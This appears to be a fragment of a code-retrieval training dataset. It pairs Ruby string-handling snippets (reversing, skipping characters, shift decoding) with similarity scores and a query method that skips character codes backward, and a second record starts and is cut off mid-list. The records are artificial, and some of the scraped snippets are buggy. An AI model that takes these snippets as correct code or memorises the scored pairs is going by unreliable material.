new_ord += ALPHABET_SIZE\n end\n new_ord.chr\n end", "def skipto(to)\n index = @index\n loop {\n\tc = self.nextchar()\n\tif (c == '\\0')\n\t @index = index\n\t return(c)\n\tend\n\tif (c == to)\n\t self.back\n\t return(c)\n\tend\n }\n end", "def play_pass(str, n)\n str.chars.map.with_index do |ltr, idx|\n if ltr =~ /[a-zA-Z]/\n if ltr.ord + n > 90 || ltr.ord + n > 122\n ltr = (ltr.ord - 26 + n).chr\n else\n ltr = (ltr.ord + n).chr\n end\n \n if idx.odd?\n ltr = ltr.downcase\n else\n ltr = ltr.upcase\n end\n \n elsif ltr =~ /\\d/\n ltr = 9 - ltr.to_i\n else\n ltr\n end\n end.join.reverse\nend", "def skip_whitespace()\n current = @marker.character\n (current = read_next()) while current == ' ' || current == ?\\t || current == ?\\r\n end", "def decode(str)\n decoded_word = str.chars\n p decoded_word\n new_string = []\n\n decoded_word.each do |char|\n\n if char.match(/\\d/)\n if char.to_i.zero?\n decoded_word.shift\n else\n decoded_word.shift(char.to_i + 1) # problem child skip 1st index\n end\n p \"h: \", decoded_word\n else\n new_string << char\n next\n end\n end\n p \"end: \", new_string\nend", "def translate_offset(str, byte_offset)\n chunk = str[0..byte_offset]\n begin\n chunk.unpack(\"U*\").length - 1\n rescue ArgumentError # we damaged a character\n chunk = str[0..(byte_offset+=1)]\n retry\n end\n end", "def parse_encounter_skip\n @skip_condition = false\n @encounter_points = false\n page = self.pages.detect {|page| page.list[0].code == 108 && page.list[0].parameters[0] =~ TH::Encounter_Alert::Skip_Regex}\n return unless page\n index = -1\n page.list.each {|cmd|\n index += 1\n if cmd.indent > 0\n next \n elsif cmd.code == 108 && cmd.parameters[0] =~ TH::Encounter_Alert::Skip_Regex\n index += 1\n @skip_condition = page.list[index]\n elsif cmd.code == 108 && cmd.parameters[0] =~ TH::Encounter_Alert::Points_Regex\n @encounter_points = page.list[index]\n end\n }\n self.pages.delete(page)\n end", "def char_offset(byte_offset)\n end", "def kill_word(*)\n first_non_letter = current_buffer.index(/\\P{L}/, current_buffer.point) || current_buffer.length\n word_beginning = current_buffer.index(/\\p{L}/, first_non_letter) || current_buffer.length\n current_buffer.slice!(current_buffer.point, word_beginning - current_buffer.point)\n true\nend", "def character_at(source_position, offset = 0)\n actual_line = source_position.line - 1\n actual_offset = source_position.offset + offset - 1\n\n # Return a newline if offset points at the very end of the line\n return \"\\n\" if actual_offset == engine.lines[actual_line].length\n\n engine.lines[actual_line][actual_offset]\n end", "def read_wide\r\n self[/^.*?(?=\\x00{2})/].delete(0.chr)\r\n end", "def next_match char\n data = get_content\n row = focussed_index\n currval = data[row].chomp\n row.upto(data.length-1) do |ix|\n val = data[ix].chomp\n if val[0,1] == char and val != currval\n return ix\n end\n end\n 0.upto(row) do |ix|\n val = data[ix].chomp\n if val[0,1] == char and val != currval\n return ix\n end\n end\n return -1\n end", "def disable_skip_counter\n if @skip_counter > 0\n @skip_counter -= 1\n else\n @words[@i] = @prefix\n @i_last_real_word = @i\n end\n end", "def pre_match\n m = @match\n @string[0...(@pos - m.to_s.size)] if (not m.equal?(nil))\n end", "def decode(string, neg_offset)\n string.split(\"\").collect do |characters|\n if $lowercase.include?(characters)\n index_value = $lowercase.index(characters) - neg_offset\n new_string = $lowercase[index_value % 26]\n elsif $uppercase.include?(characters)\n index_value = $uppercase.index(characters) - neg_offset\n new_string = $uppercase[index_value % 26]\n else\n characters\n end\n end.join(\"\")\nend", "def skip(a_line)\n @line_cnt ||= 0\n @line_cnt += 1\n 1 == @line_cnt ||\n a_line.empty? ||\n a_line.strip.start_with?('#')\n end", "def find_missing_letter(range)\n numbers = []\n\n range.each_byte do |number|\n numbers << number\n end\n\n starting_point = numbers[0]\n ending_point = numbers.last\n\n new_array = []\n\n range_length = range.length\n\n range_length.times do\n new_array << starting_point.next\n starting_point += 1\n end\n\n missing_letter = \"\"\n counter = 0\n range_length.times do\n if new_array[counter] == numbers[counter + 1]\n counter += 1\n else\n missing_letter = new_array[counter]\n end\n end\n\n if missing_letter < ending_point\n return missing_letter.chr\n else\n return nil\n end\nend", "def prevChar\n if getChar == '\\n'\n @line -= 1\n @column = @lastLineSize\n end\n @index -= 1\n @column -= 1\n end", "def begin_pos; end", "def skipped_lines; end", "def skipped_lines; end", "def remove_char(str)\n str[1..-2]\nend", "def eatConsecutiveUnicode(text)\r\n codepoints = []\r\n while md = text.match(\"^&#([0-9]+);\")\r\n codepoints << md[1].to_i\r\n text = text[md.end(0)..-1]\r\n end\r\n return codepoints, text\r\n end", "def peek()\n lookaheadChar = @source_io.getc\n @source_io.ungetc(lookaheadChar)\n return lookaheadChar.chr\n end", "def mod_shift(chr, offset)\n @alph[(@alph.index(chr) + offset) % @alph.length]\n end", "def skip(n)\n end", "def missing_letter(word)\n word.each_with_index do |letter, i|\n return letter.next if word[i + 1] != letter.next\n end\nend", "def consume_unicode_range; end", "def each_position(&block)\n sequence.each_char(&block)\n end", "def get_code_for(i)\n if i.is_a?(String)\n c = i[0]\n else\n c = i\n end\n\n return @remap_chars[c.chr] || c.chr\n end", "def decrypt_letter(pos,char)\n\tkey = [5,17,4,10,4,24]\n\t\n\tc = char.ord - key[pos%6]\n\tif c < 'A'.ord\n\t\tc += 26\n\tend\n\treturn c.chr\nend", "def forward characters\n @char += characters\n char || false\n end", "def skip(pattern)\n _scan_headonly(pattern, true, false)\n end", "def skip\n end", "def skip\n end", "def remaining_characters\n super + (@tag_present ? 3 : 0)\n end", "def reorder_characters(codepoints)\n length = codepoints.length- 1\n pos = 0\n while pos < length do\n cp1, cp2 = database.codepoints[codepoints[pos]], database.codepoints[codepoints[pos+1]]\n if (cp1.combining_class > cp2.combining_class) && (cp2.combining_class > 0)\n codepoints[pos..pos+1] = cp2.code, cp1.code\n pos += (pos > 0 ? -1 : 1)\n else\n pos += 1\n end\n end\n codepoints\n end", "def offset(*args)\n args.size > 0 ? skip(args.first) : options[:skip]\n end" ]
[ "0.7625582", "0.7116165", "0.66701615", "0.6624932", "0.6547856", "0.6514175", "0.6122884", "0.6100048", "0.60094655", "0.59441096", "0.59182614", "0.5864476", "0.579636", "0.5763872", "0.56008554", "0.5596652", "0.55702883", "0.5556906", "0.55505705", "0.5533722", "0.5500484", "0.54922503", "0.54768246", "0.5470482", "0.54501534", "0.5433781", "0.54208773", "0.5413307", "0.54128855", "0.54017234", "0.5401694", "0.5305056", "0.5302427", "0.5297537", "0.5294133", "0.5283355", "0.52738273", "0.5273254", "0.5264282", "0.52573806", "0.52572644", "0.52428955", "0.5238356", "0.523569", "0.5235183", "0.5227671", "0.52184826", "0.52176696", "0.5211522", "0.520687", "0.52058136", "0.51958734", "0.5186073", "0.51787853", "0.5173599", "0.5173164", "0.5172463", "0.5171508", "0.51624143", "0.5160829", "0.5154865", "0.5146844", "0.5128584", "0.512154", "0.5117393", "0.51050365", "0.51034135", "0.5094914", "0.5093144", "0.509219", "0.50855", "0.5084897", "0.50825", "0.5081379", "0.508031", "0.50802505", "0.5078367", "0.5077313", "0.5071596", "0.5068554", "0.50683916", "0.50632244", "0.50632244", "0.5052112", "0.50479716", "0.50436246", "0.50426555", "0.50353545", "0.50335175", "0.50331026", "0.50311923", "0.50277346", "0.5026614", "0.5022925", "0.5022197", "0.5015649", "0.5015649", "0.50057876", "0.49937376", "0.49864668" ]
0.8502206
0
Skip char codes reverse from given position 1
def skipCharsBack(pos, code, min) return pos if pos <= min while (pos > min) return (pos + 1) if code != charCodeAt(@src, pos -= 1) end return pos end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def skipChars(pos, code)\n max = @src.length\n while pos < max\n break if (charCodeAt(@src, pos) != code)\n pos += 1\n end\n return pos\n end", "def backward characters\n if (@char - characters) >= 0\n @char -= characters\n char\n else\n false\n end\n end", "def loop_back (chr_code, number) # z => a, Z => A\n ((chr_code + number > 122 && chr_code.between?(97,122)) ||\n (chr_code + number > 90 && chr_code.between?(65,90))) ?\n chr_code + number - 26 : chr_code + number\n end", "def loop_back (chr_code, number) # z => a, Z => A\n ((chr_code + number > 122 && chr_code.between?(97,122)) ||\n (chr_code + number > 90 && chr_code.between?(65,90))) ?\n chr_code + number - 26 : chr_code + number\n end", "def reverse(str)\n puts \"Your string: #{str}\"\n length = str.length\n current_char_index = 0\n mirror_char_index = str.length - 1\n\n until (current_char_index == mirror_char_index) || (mirror_char_index - current_char_index == 1)\n # set current and mirror chars\n current_char = str[current_char_index]\n mirror_char = str[mirror_char_index]\n\n # switch\n str[current_char_index] = mirror_char\n str[mirror_char_index] = current_char\n\n # increment and set next indices\n current_char_index += 1\n mirror_char_index = length - (current_char_index + 1)\n end\n\n puts \"Reversed string: #{str}\"\n str\nend", "def skip\n @str.slice! @last_re if peek_next_type != :eos\n end", "def front_again(str)\n str[0..1] == str[-2..]\n end", "def reverse_direction(line, index)\n return line.reverse.index(line[index])\nend", "def decrypt_method(arg, index)\n while index < arg.length\n if arg[index] == \"a\"\n arg[index] = \"z\"\n index += 1\n else\n arg[index] = (arg[index].ord - 1).chr\n index += 1\n end\n end\n puts arg\nend", "def decode(str)\n decoded_word = str.chars\n p decoded_word\n new_string = []\n\n decoded_word.each do |char|\n\n if char.match(/\\d/)\n if char.to_i.zero?\n decoded_word.shift\n else\n decoded_word.shift(char.to_i + 1) # problem child skip 1st index\n end\n p \"h: \", decoded_word\n else\n new_string << char\n next\n end\n end\n p \"end: \", new_string\nend", "def decrypt(code)\r\n # Ruby doesn't have a built-in method to call previous letters so we make our own\r\n def previous(letter)\r\n # have alphabet for reference for the letter to know the index\r\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\r\n i= 0 \r\n until letter == alphabet[i]\r\n i+=1\r\n end\r\n # print the letter previous to it\r\n return alphabet [i-1]\r\n end\r\n \r\n #\r\n decrypted_code=\"\"\r\n i = 0\r\n while i < code.length\r\n decrypted_code = decrypted_code + previous(code[i])\r\n i+=1\r\n end\r\n return decrypted_code\r\nend", "def bad_decode(letter1, letter2, letter3)\n new1 = \"abcdefghijklmnopqrstuvwxyz\".index(letter1) - 1\n puts \"abcdefghijklmnopqrstuvwxyz\"[new1.to_i]\n new2 = \"abcdefghijklmnopqrstuvwxyz\".index(letter2) - 1\n puts \"abcdefghijklmnopqrstuvwxyz\"[new2.to_i]\n new3 = \"abcdefghijklmnopqrstuvwxyz\".index(letter3) - 1\n puts \"abcdefghijklmnopqrstuvwxyz\"[new3.to_i]\nend", "def prev_char c, number\n new_ord = c.ord - filter_by_95(number)\n if new_ord < 32\n new_ord += (126 - 31)\n end\n return new_ord.chr\nend", "def reverse(txt)\n output = []\n txt.each_char do |char|\n output.unshift(char) #unshift is like prepend\n end\n\n output.join\nend", "def characterReverse(input)\n length = input.length\n\n (length - 1).downto(1) do |i|\n if input[i] == \"h\" && input[i - 1] == \"t\"\n input[i] = \"t\"\n input[i - 1] = \"h\"\n\n i.upto(length - 1) do |j|\n if input[j] == 't' && input[j + 1] == 'h'\n input[j] = 'h'\n input[j + 1] = 't'\n end\n end\n end\n end\n\n input\nend", "def skipSpacesBack(pos, min)\n return pos if pos <= min\n\n while (pos > min)\n return pos + 1 if !isSpace(charCodeAt(@src, pos -= 1))\n end\n return pos\n end", "def nonrptchar(string)\n strcpy = string.reverse.chars\n while strcpy != nil do \n y = strcpy.pop\n if strcpy.include? y\n strcpy.delete(y)\n else\n return y\n end\n end\nend", "def first_char_idx\n dewey? ? 3 : 0\n end", "def skip_white\n while is_white(@look)\n get_char\n end\nend", "def asciiz\r\n begin\r\n self[0..self.index(\"\\x00\")-1]\r\n rescue\r\n self\r\n end\r\n end", "def front_to_back(word, index, how_far)\n word = string_to_char_array(word)\n word.rotate(how_far)\nend", "def reverse_string_in_place(str)\n last_index = str.length # start off as one more than last index\n\n (0...str.length).each do |i|\n last_index = last_index - 1 # keep track of corresponding later char\n current_char = str[i]\n later_char = str[last_index]\n\n next if i == last_index || i < last_index\n\n # swap them in str\n str[i] = later_char\n str[last_index] = current_char\n end\n\n p str\nend", "def play_pass(str, n)\n str.chars.map.with_index do |ltr, idx|\n if ltr =~ /[a-zA-Z]/\n if ltr.ord + n > 90 || ltr.ord + n > 122\n ltr = (ltr.ord - 26 + n).chr\n else\n ltr = (ltr.ord + n).chr\n end\n \n if idx.odd?\n ltr = ltr.downcase\n else\n ltr = ltr.upcase\n end\n \n elsif ltr =~ /\\d/\n ltr = 9 - ltr.to_i\n else\n ltr\n end\n end.join.reverse\nend", "def backward_kill_word(*)\n first_letter_backward = current_buffer.rindex(/\\p{L}/, current_buffer.point) || 0\n first_non_letter_before_word = current_buffer.rindex(/\\P{L}/, first_letter_backward) || -1\n current_buffer.slice!(first_non_letter_before_word + 1..current_buffer.point)\n true\nend", "def reverse_characters(sentence, first_index, last_index)\n\n while first_index < last_index\n temp = sentence[first_index]\n sentence[first_index] = sentence[last_index]\n sentence[last_index] = temp\n\n first_index += 1\n last_index -= 1\n end\n\n return sentence\nend", "def strip_index(input); end", "def prev_char(single_letter)\n (single_letter.ord - 1).chr\nend", "def prev_char(single_letter)\n (single_letter.ord - 1).chr\nend", "def find_missing_letter(arr)\n #your code here\n result = 0\n base_arr = arr.join().codepoints\n base_arr.each_with_index do |item,index|\n if base_arr[index+1] != item + 1\n result = item + 1\n break\n end\n end\n result.chr\nend", "def backward_char\n\n file = @file\n pos_max = file.pos - 1\n pos_min = pos_max - @mb_bytesize_max\n\n pos_max.downto(pos_min) do |pos|\n\n break if pos < 0\n\n file.seek(pos)\n char = file.getc\n\n # return file#getc character\n # - when that is regular for multibyte character\n return char if check_mb(char)\n end\n\n nil\n end", "def palindrome_index(str)\n\nend", "def remove_char(str)\n str[1..-2]\nend", "def play_pass(str, n)\n alphabet = (\"A\"..\"Z\").to_a\n shifted_alphabet = alphabet.rotate(n)\n ary = str.chars\n \n ary.each_with_index do |item, index|\n if item == item.to_i.to_s\n ary[index] = (9 - item.to_i).to_s\n elsif alphabet.include?(item)\n ind = alphabet.index(item)\n ary[index] = shifted_alphabet[ind]\n end\n end\n ary.map!.with_index { |item, index| index.odd? ? ary[index].downcase : ary[index].upcase }\n \n ary.join('').reverse\nend", "def skip?(char)\n !KEYMAP.include? char\n end", "def decode(string, neg_offset)\n string.split(\"\").collect do |characters|\n if $lowercase.include?(characters)\n index_value = $lowercase.index(characters) - neg_offset\n new_string = $lowercase[index_value % 26]\n elsif $uppercase.include?(characters)\n index_value = $uppercase.index(characters) - neg_offset\n new_string = $uppercase[index_value % 26]\n else\n characters\n end\n end.join(\"\")\nend", "def remove_char(s)\n s[1..-2]\nend", "def backward_char\n\n file = @file\n result = nil\n\n if file.pos > 0\n file.seek(-1, IO::SEEK_CUR)\n result = file.getc\n end\n\n result\n end", "def string_reverse(my_string, start_index, end_index)\n i = start_index\n j = end_index\n while i < j\n #flipflop characters using holding variable as a place to put one character while the other goes in its place.\n holding = my_string[i]\n my_string[i] = my_string[j]\n my_string[j] = holding\n\n #move up and move down the string.\n i += 1\n j -= 1\n end\n return my_string\nend", "def decrypt(codes)\n\ti = 0\n\t#declare empty string we will add to\n\toutput = \"\"\n\tstr = \"abcdefghijklmnopqrstuvwxyz\"\n\t#loop over the string's letters\n\twhile i < codes.to_s.length\n\t\tletter = str[str.index(codes[i])-1]\n\t\toutput = output + letter\n\t\ti += 1\t\n\tend\n\tputs output\nend", "def reverse_string_order(s)\n s.unpack(\"U*\").map{|code| -code}\n end", "def decrypt(banana)\n ind = 0\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n while ind < banana.length\n litera = banana[ind]\n index_in_alphabet = alphabet.index(litera)\n if index_in_alphabet == 0\n puts \"z\"\n else\n puts alphabet[index_in_alphabet - 1]\n end\n ind += 1\n end\nend", "def decrypt(code)\n\n\tcounter = 0\n\tnew_code = \"\"\n\tcharacters = \"abcdefghijklmnopqrstuvwxyz\"\n\n\n \twhile counter < code.length\n \n\t new_code += characters[characters.index(code[counter]) - 1] \n\t counter += 1\n\n \tend\n \n\tp new_code\n\nend", "def iterative_reverse_string(string)\n reversed_string = ''\n string.each_char {|c| reversed_string.prepend(c)}\n reversed_string\nend", "def skipto(to)\n index = @index\n loop {\n\tc = self.nextchar()\n\tif (c == '\\0')\n\t @index = index\n\t return(c)\n\tend\n\tif (c == to)\n\t self.back\n\t return(c)\n\tend\n }\n end", "def backward_regex regex\n if regex.is_a? Symbol\n regex = @text_patterns[regex]\n raise \"Pattern specified #{regex} does not exist in text_patterns \" unless regex\n end\n $multiplier = 1 if !$multiplier || $multiplier == 0\n _arr = _getarray\n pos = @curpos || 0 # list does not have curpos\n line = @current_index\n #buff = _arr[line].to_s\n #return unless buff\n # if curpos is at zero , we should be checking previous line !\n $multiplier.times {\n # if at start of line, go to previous line\n if pos == 0\n if @current_index > 0\n line -= 1\n pos = _arr[line].to_s.size\n else\n # we are on first line of file at start\n break\n end\n end\n buff = _arr[line].to_s\n return unless buff\n pos2 = pos - 2\n pos2 = 0 if pos2 < 0\n found = buff.rindex(regex, pos2)\n $log.debug \" backward: pos #{pos} , found #{found}, pos2 = #{pos2} \"\n if !found || found == 0\n # if not found, we've lost a counter\n if pos > 0\n pos = 0\n elsif line > 0\n #line -= 1\n #pos = _arr[line].to_s.size\n else\n break\n end\n else\n pos = found + 1\n end\n $log.debug \" backward_word: pos #{pos} line #{line} buff: #{buff}\"\n }\n $multiplier = 0\n @current_index = line\n @curpos = pos\n ensure_visible\n @repaint_required = true\n end", "def reverse_string text\n for i in 0...text.length/2\n if i == (text.length-1)/2 && text.length%2 == 0 \n next\n else\n temp = text[i]\n text[i] = text[text.length-1-i]\n text[text.length-1-i] = temp\n end\n end\n text\nend", "def reverse!\n @upwards = !@upwards\n skip!(2)\n end", "def skipSpaces(pos)\n max = @src.length\n while pos < max\n ch = charCodeAt(@src, pos)\n break if !isSpace(ch)\n pos += 1\n end\n return pos\n end", "def fliplr\n reverse(1)\n end", "def palindrome_index string\n s1 = string.chars\n s2 = string.reverse.chars\n indices = []\n\n if s1 == s2\n puts -1\n else\n s1.each_with_index do |x,xi|\n indices << xi if x != s2[xi]\n end\n \n s1.delete_at(indices.first)\n puts s1 == s1.reverse ? indices.first : indices.last\n end\nend", "def alternatingCharacters(s)\n del_count = 0\n s.chars.each_with_index do |v, i|\n next if i == 0\n if v == s[i-1]\n del_count+=1\n end\n end\n return del_count\nend", "def rl_backward_char(count, key)\r\n if @rl_byte_oriented\r\n return (rl_backward_byte(count, key))\r\n end\r\n if (count < 0)\r\n return (rl_forward_char(-count, key))\r\n end\r\n\r\n if (count > 0)\r\n point = @rl_point\r\n while (count > 0 && point > 0)\r\n point = _rl_find_prev_mbchar(@rl_line_buffer, point, MB_FIND_NONZERO)\r\n count-=1\r\n end\r\n if (count > 0)\r\n @rl_point = 0\r\n rl_ding()\r\n else\r\n @rl_point = point\r\n end\r\n end\r\n 0\r\n end", "def reverse(word)\n# This was as far as I could go\n\ttemp = ''\n\n\ti += 0\n\twhile i <= word.length\n\t\t# I know that this will hold the individual letter of the current iteration\n\t\tchar = word[i]\n\n\t\tputs i\n\t\ti += 1\n\tend\n\treturn temp\t\nend", "def first_char_with_odd_ascii_gr8ter_80(input)\n input.find do |c|\n c.ord.odd? && c.ord > 80\n end\n end", "def reverse_letter(letter)\r\n alphabet = (\"a\"..\"z\").to_a\r\n index = alphabet.index(letter) \r\n alphabet[index-1]\r\nend", "def backward(n = nil)\n CSI + \"#{n || 1}D\"\n end", "def front_back(string)\n string[-1] << string[1...-1] << string[0]\nend", "def missing_letter(word)\n word.each_with_index do |letter, i|\n return letter.next if word[i + 1] != letter.next\n end\nend", "def remove_char(s)\n #s = string\n s = s[1..-2]\n return s\nend", "def remove_char(s)\n s[1...-1]\nend", "def reverse_only_letters(s)\n i = 0\n j = s.length - 1\n while i < j\n if !s[i].match(/[[:alpha:]]/)\n i += 1\n elsif !s[j].match(/[[:alpha:]]/)\n j -= 1\n else\n s[i], s[j] = s[j], s[i]\n i += 1\n j -= 1\n end\n end\n return s\nend", "def decrypt(my_string)\n i = 0\n new_string = \"\"\n # chose to create a new string to return rather than modify the input\n # string by side effect\n \n until i == my_string.length\n if $alphabet.index(my_string[i]) == nil\n new_string += my_string[i]\n else\n new_string += $alphabet[$alphabet.index(my_string[i])-1]\n #wraps automatically from 0 to -1; don't need 3rd condition\n end\n i = i + 1\n end\n \n return new_string\nend", "def reverse_chars(my_sentence, left, right)\n while left < right\n my_sentence[left], my_sentence[right] = my_sentence[right], my_sentence[left]\n\n left += 1\n right -= 1\n end\nend", "def reverse_inplace(s)\n b = 0\n e = s.length - 1\n reverse_inplace_helper(b,e,s)\n return s\nend", "def next_char c, number\n new_ord = c.ord + filter_by_95(number)\n if new_ord > 126\n new_ord -= (126 - 31)\n end\n return new_ord.chr\nend", "def reverse_only_letters(s)\n letters = []\n alphabet = (\"a\"..\"z\").to_a\n \n s.each_char do |char|\n letters << char if alphabet.include?(char.downcase)\n end\n \n s.each_char.with_index do |char, idx|\n s[idx] = letters.pop if alphabet.include?(char.downcase)\n end\n s\nend", "def reverse_complement(txt)\n comp = []\n txt.chars.each do |ch|\n comp << \"A\" if ch == 'T'\n comp << \"T\" if ch == 'A'\n comp << \"G\" if ch == 'C'\n comp << \"C\" if ch == 'G'\n end\n comp.join.reverse\nend", "def prev_char\n self.cursor -= 1\n end", "def prev_char(options = {})\n ix = column - 1\n ix = skip_space(ix, :left) if options[:skip_space]\n char_at(ix) || ''\n end", "def rightChar\n File.open(\"file\").each_line do |line|\n a = line.chomp.split(',')\n str = a[0]\n if str.include? a[1]\n p str.rindex a[1]\n else\n p -1\n end\n end\nend", "def my_reverse(string)\n\t\ta = string.length - 1\n\t\t@new_string = \"\"\n\t\ta.downto(0) { |i| @new_string << string[i] }\n\t\tprint @new_string\n\tend", "def decrypt(string)\n index = 0\n\n until index >= string.length\n if string[index] != \" \"\n if string[index] == \"a\"\n string[index] = \"z\"\n else\n string[index] = (string[index].chr.ord-1).chr\n end \n end\n index += 1\n end \n return string \nend", "def reverse_inplace(s)\n return reverse_helper(s, 0 , s.length - 1) \nend", "def rev(str, i)\n # str = \"75\", i = -1\n if i < 0 then\n return \"\";\n else\n # return \"5\" + \"7\" + \"\"\n return str[i, 1] + rev(str, i-1);\n end;\nend", "def first_reverse(str)\n str.reverse!\nend", "def next_char_ignored\n state[:ignore] = true\n end", "def reverse_words(message)\n\n reverse_characters(message, 0, message.length)\n\n\n\n\ndef reverse_characters(message)\n\n # walk towards the middle, from both sides\n# for i in 0..5\n for front_index in 0..(message.length / 2 - 1)\n\n # ruby lets us use negative indices, starting from the back at -1\n back_index = -front_index - 1\n\n # swap the front char and back char\n message[front_index], message[back_index] = \\\n message[back_index], message[front_index]\n\n end\n\n return message.reverse\nend", "def remove_char(s)\r\n return s[1..-2]\r\n end", "def char_with_odd_ascii(input)\n input.select do |c|\n c.ord.odd?\n end\nend", "def reverse_sequence\n revcom(sequence)\n end", "def change chars, value\n if chars.index(value) == chars.size - 1\n chars[0]\n else\n chars[chars.index(value) + 1]\n end\n\tend", "def forward characters\n @char += characters\n char || false\n end", "def reverse_string_3(string)\n string = string.to_s\n result = ''\n string.length.times { |i| result << string[(i + 1) * -1] }\n result\nend", "def left2(str)\n puts str[2..-1] + str[0..1] \nend", "def without_x(str)\n return str[1..-2] if str[0] == 'x' && str[-1] == 'x'\n return str[1..] if str[0] == 'x'\n return str[0..-2] if str[-1] == 'x'\n\n str\n end", "def reverse(string)\nend", "def my_reverse(word)\n letters = word.strip.downcase.chars\n word_reversed = \"\"\n until letters.length == 0\n word_reversed << letters.pop\n end\n binding.pry\n word_reversed.capitalize\nend", "def pirates_say_arrrrrrrrr(string)\n new_string = \"\"\n\n (string.size-1).times do |index|\n current_character = string[index]\n next_character = string[index + 1]\n\n new_string << next_character if (current_character == \"r\" || current_character == \"R\")\n end\n new_string\nend", "def reorder_characters(codepoints)\n length = codepoints.length- 1\n pos = 0\n while pos < length do\n cp1, cp2 = database.codepoints[codepoints[pos]], database.codepoints[codepoints[pos+1]]\n if (cp1.combining_class > cp2.combining_class) && (cp2.combining_class > 0)\n codepoints[pos..pos+1] = cp2.code, cp1.code\n pos += (pos > 0 ? -1 : 1)\n else\n pos += 1\n end\n end\n codepoints\n end", "def exclude(arr, char)\n output = []\n i = 0\n charlength = char.length\n while i < arr.length\n if arr[i] != char\n output << arr[i]\n i += 1\n else\n i += 1\n end\n end\n return output\nend", "def reverse_alternate(string)\n string.split.map.with_index{ |word, index| index.odd? ? word.reverse : word }.join(\" \")\nend", "def polyshift_extract(str, pos)\r\n ciphertext = \"\"\r\n shift_len = pos\r\n char_pos = 1\r\n\r\n str.each_char do |char|\r\n\r\n if (char_pos % shift_len == 1) then\r\n ciphertext << char\r\n end\r\n\r\n char_pos = char_pos + 1\r\n\r\n end\r\n\r\n return ciphertext\r\nend", "def next_char\n @pos += 1\n if (c = @source[@pos..@pos]) == BACKSLASH\n @pos += 1\n [true, @source[@pos..@pos]]\n else\n [false, c]\n end\n end", "def letter_reverse str\n str.reverse!\nend", "def untransform(offset)\n\t\tresult = []\n\t\trev_upp_index = @upp_index.reverse\n\t\trev_low_index = @low_index.reverse\n\t\ttemp_arr = @message.split(\"\")\n\t\ttemp_arr.each do |letter|\n \n\t\t\tif upcase?(letter)\n\t\t\t\told_index \t= rev_upp_index.index(letter)\n\t\t\t\tnew_index \t= old_index + offset\n\t\t\t\tresult \t\t<< rev_upp_index[new_index]\n\t\t\telsif downcase?(letter)\n\t\t\t\told_index \t= rev_low_index.index(letter)\n\t\t\t\tnew_index \t= old_index + offset\t\t\t#do lowercase transform\n\t\t\t\tresult \t\t<< rev_low_index[new_index]\n\t\t\telse\n\t\t\t\tresult << letter\n\t\t\tend\n\t\tend\n \n\t\treturn result.join\n\tend", "def reverse(str)\n str.chars.inject([], &:unshift).join\nend", "def findInverse(char)\n @inverses[char]\n end", "def reverse_inplace(s)\n # This is a wrapper method\n return reverse_inplace_2(s, 0, s.length - 1)\nend", "def encrypt_text(secret_code)\n code_length = secret_code.length\n current_position = 0\n\n until current_position == code_length\n \n if secret_code[current_position] == \"z\"\n secret_code[current_position] = \"a\"\n\n else\n\n secret_code[current_position] = secret_code[current_position].next\n\n end\n current_position = current_position + 1\nend\n\n puts \"The encrypted code is: #{secret_code}.\"\nreturn secret_code\nend", "def reverse_inplace(s)\n return reverse_helper(s, 0, s.length - 1)\nend" ]
[ "0.6886522", "0.6289645", "0.6183639", "0.6162006", "0.61287296", "0.61197", "0.6042372", "0.5956071", "0.5954503", "0.59443563", "0.5914544", "0.5882674", "0.58488417", "0.5838668", "0.5828542", "0.5804168", "0.5799085", "0.5787559", "0.5780467", "0.57640636", "0.575358", "0.5745082", "0.57236445", "0.57200027", "0.57082087", "0.570498", "0.5662578", "0.5662578", "0.5654016", "0.5631861", "0.5630981", "0.5627475", "0.56185436", "0.5605456", "0.56032425", "0.55942434", "0.55889666", "0.55851936", "0.55848366", "0.5573259", "0.5572632", "0.5571516", "0.5566093", "0.55617625", "0.5557566", "0.55536574", "0.5544021", "0.5542091", "0.5535688", "0.55341613", "0.55327404", "0.5532669", "0.55322635", "0.5526852", "0.5526432", "0.5497388", "0.5487196", "0.5481258", "0.54584086", "0.5457629", "0.54575145", "0.5456549", "0.5455877", "0.5451271", "0.5438602", "0.543337", "0.5426194", "0.5416966", "0.5411127", "0.5389877", "0.53889376", "0.53838515", "0.53805506", "0.5379056", "0.5364053", "0.5355508", "0.5352875", "0.5352147", "0.53489745", "0.53487587", "0.5345594", "0.5342525", "0.53319013", "0.5329393", "0.532937", "0.532575", "0.53257173", "0.5321592", "0.53206444", "0.53197795", "0.5316981", "0.5313627", "0.53059065", "0.5303176", "0.5302475", "0.53015053", "0.5297591", "0.52962273", "0.529465", "0.52935016" ]
0.6812393
1
cut lines range from source.
def getLines(line_begin, line_end, indent, keepLastLF) line = line_begin return '' if line_begin >= line_end queue = Array.new(line_end - line_begin) i = 0 while line < line_end lineIndent = 0 lineStart = first = @bMarks[line] if line + 1 < line_end || keepLastLF # No need for bounds check because we have fake entry on tail. last = @eMarks[line] + 1 else last = @eMarks[line] end while first < last && lineIndent < indent ch = charCodeAt(@src, first) if isSpace(ch) if ch === 0x09 lineIndent += 4 - (lineIndent + @bsCount[line]) % 4 else lineIndent += 1 end elsif first - lineStart < @tShift[line] # patched tShift masked characters to look like spaces (blockquotes, list markers) lineIndent += 1 else break end first += 1 end if lineIndent > indent # partially expanding tabs in code blocks, e.g '\t\tfoobar' # with indent=2 becomes ' \tfoobar' queue[i] = (' ' * (lineIndent - indent)) + @src.slice(first...last) else queue[i] = @src.slice(first...last) end line += 1 i += 1 end return queue.join('') end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def range_by_lines(range); end", "def cut\n return unless @lines_used > 0\n\n feed(@options[:lines_total] - @lines_used + 1)\n stamp\n print(0x0c.chr)\n @lines_used = 0\n end", "def take_lines(start_line, num_lines)\n if start_line >= 0\n start_idx = @lines.index { |l| l.last >= start_line } || @lines.length\n else\n start_idx = @lines.length + start_line\n end\n\n alter do\n @lines = @lines.slice(start_idx, num_lines)\n end\n end", "def line_range\n max_lines = source_file.content.lines.size - 1\n context_lines = 3\n first_line = [0, location_line - context_lines - 1].max\n last_line = [max_lines, location_line + context_lines - 1].min\n first_line..last_line\n end", "def cut(from: 0, to: length)\n editable? and @native.cut_text(from.to_i, to.to_i)\n end", "def take_lines(start_line, num_lines)\n start_idx =\n if start_line >= 0\n @lines.index { |loc| loc.lineno >= start_line } || @lines.length\n else\n [@lines.length + start_line, 0].max\n end\n\n alter do\n @lines = @lines.slice(start_idx, 